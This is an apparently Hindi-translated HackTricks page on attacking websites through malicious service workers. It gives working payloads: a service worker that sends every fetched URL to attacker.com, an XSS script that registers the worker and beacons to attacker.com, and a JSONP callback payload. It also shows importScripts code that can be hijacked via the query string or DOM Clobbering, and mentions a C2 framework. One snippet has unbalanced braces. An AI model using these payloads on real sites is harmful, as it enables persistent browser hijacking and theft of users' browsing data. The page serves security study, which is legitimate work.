Abusing Service Workers
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।
Basic Information
एक service worker एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा बैकग्राउंड में चलती है, किसी भी वेब पृष्ठ से अलग, ऐसी सुविधाओं को सक्षम करती है जिन्हें वेब पृष्ठ या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती, इस प्रकार ऑफलाइन और बैकग्राउंड प्रोसेसिंग क्षमताओं को बढ़ाती है। सेवा कार्यकर्ताओं पर विस्तृत जानकारी यहां मिल सकती है। एक कमजोर वेब डोमेन के भीतर सेवा कार्यकर्ताओं का शोषण करके, हमलावर पीड़ित के सभी पृष्ठों के साथ इंटरैक्शन पर नियंत्रण प्राप्त कर सकते हैं।
Checking for Existing Service Workers
मौजूदा सेवा कार्यकर्ताओं की जांच Developer Tools में Application टैब के Service Workers अनुभाग में की जा सकती है। एक और तरीका है chrome://serviceworker-internals पर जाकर अधिक विस्तृत दृश्य प्राप्त करना।
Push Notifications
Push notification permissions सीधे एक service worker की सर्वर के साथ बिना सीधे उपयोगकर्ता इंटरैक्शन के संवाद करने की क्षमता को प्रभावित करते हैं। यदि अनुमतियाँ अस्वीकृत की जाती हैं, तो यह सेवा कार्यकर्ता की निरंतर खतरे के रूप में संभावनाओं को सीमित करता है। इसके विपरीत, अनुमतियाँ देने से सुरक्षा जोखिम बढ़ जाते हैं क्योंकि यह संभावित शोषण के रिसेप्शन और निष्पादन को सक्षम करता है।
Attack Creating a Service Worker
इस कमजोरी का शोषण करने के लिए आपको निम्नलिखित खोजने की आवश्यकता है:
- सर्वर पर मनमाने JS फ़ाइलों को अपलोड करने का एक तरीका और XSS जो अपलोड की गई JS फ़ाइल के सेवा कार्यकर्ता को लोड करता है
- एक कमजोर JSONP अनुरोध जहां आप आउटपुट (मनमाने JS कोड के साथ) को हेरफेर कर सकते हैं और एक XSS जो पेलोड के साथ JSONP को लोड करता है जो एक दुर्भावनापूर्ण सेवा कार्यकर्ता को लोड करेगा।
निम्नलिखित उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो एक नया सेवा कार्यकर्ता पंजीकृत करेगा जो fetch इवेंट को सुनेगा और प्रत्येक प्राप्त URL को हमलावर के सर्वर पर भेजेगा (यह वह कोड है जिसे आपको सर्वर पर अपलोड करने की आवश्यकता होगी या कमजोर JSONP प्रतिक्रिया के माध्यम से लोड करना होगा):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
और यह वह कोड है जो कार्यकर्ता को पंजीकृत करेगा (यह कोड जिसे आप XSS का दुरुपयोग करके निष्पादित करने में सक्षम होना चाहिए)। इस मामले में एक GET अनुरोध हमलावरों के सर्वर पर भेजा जाएगा सूचित करने के लिए कि सेवा कार्यकर्ता की पंजीकरण सफल थी या नहीं:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
यदि आप एक कमजोर JSONP एंडपॉइंट का दुरुपयोग कर रहे हैं, तो आपको मान को var sw के अंदर रखना चाहिए। उदाहरण के लिए:
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
एक C2 है जो Service Workers के शोषण के लिए समर्पित है जिसे Shadow Workers कहा जाता है, जो इन कमजोरियों का दुरुपयोग करने के लिए बहुत उपयोगी होगा।
24-घंटे का कैश निर्देश एक दुर्भावनापूर्ण या समझौता किए गए service worker (SW) के जीवन को XSS कमजोरी के सुधार के बाद अधिकतम 24 घंटे तक सीमित करता है, ऑनलाइन क्लाइंट स्थिति मानते हुए। कमजोरियों को कम करने के लिए, साइट ऑपरेटर SW स्क्रिप्ट के Time-To-Live (TTL) को कम कर सकते हैं। डेवलपर्स को भी service worker kill-switch बनाने की सलाह दी जाती है ताकि तेजी से निष्क्रिय किया जा सके।
DOM Clobbering के माध्यम से SW में importScripts का दुरुपयोग
importScripts फ़ंक्शन जो एक Service Worker से कॉल किया जाता है, एक अलग डोमेन से एक स्क्रिप्ट आयात कर सकता है। यदि इस फ़ंक्शन को एक पैरामीटर का उपयोग करके कॉल किया जाता है जिसे एक हमलावर संशोधित कर सकता है, तो वह अपने डोमेन से एक JS स्क्रिप्ट आयात कर सकेगा और XSS प्राप्त कर सकेगा।
यह CSP सुरक्षा को भी बायपास करता है।
उदाहरण कमजोर कोड:
- index.html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
With DOM Clobbering
DOM Clobbering क्या है इसके बारे में अधिक जानकारी के लिए देखें:
यदि URL/domain जहाँ SW importScripts को कॉल करने के लिए उपयोग कर रहा है, एक HTML तत्व के अंदर है, तो इसे DOM Clobbering के माध्यम से संशोधित करना संभव है ताकि SW आपके अपने डोमेन से एक स्क्रिप्ट लोड करे।
इसका उदाहरण देखने के लिए संदर्भ लिंक देखें।
References
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।


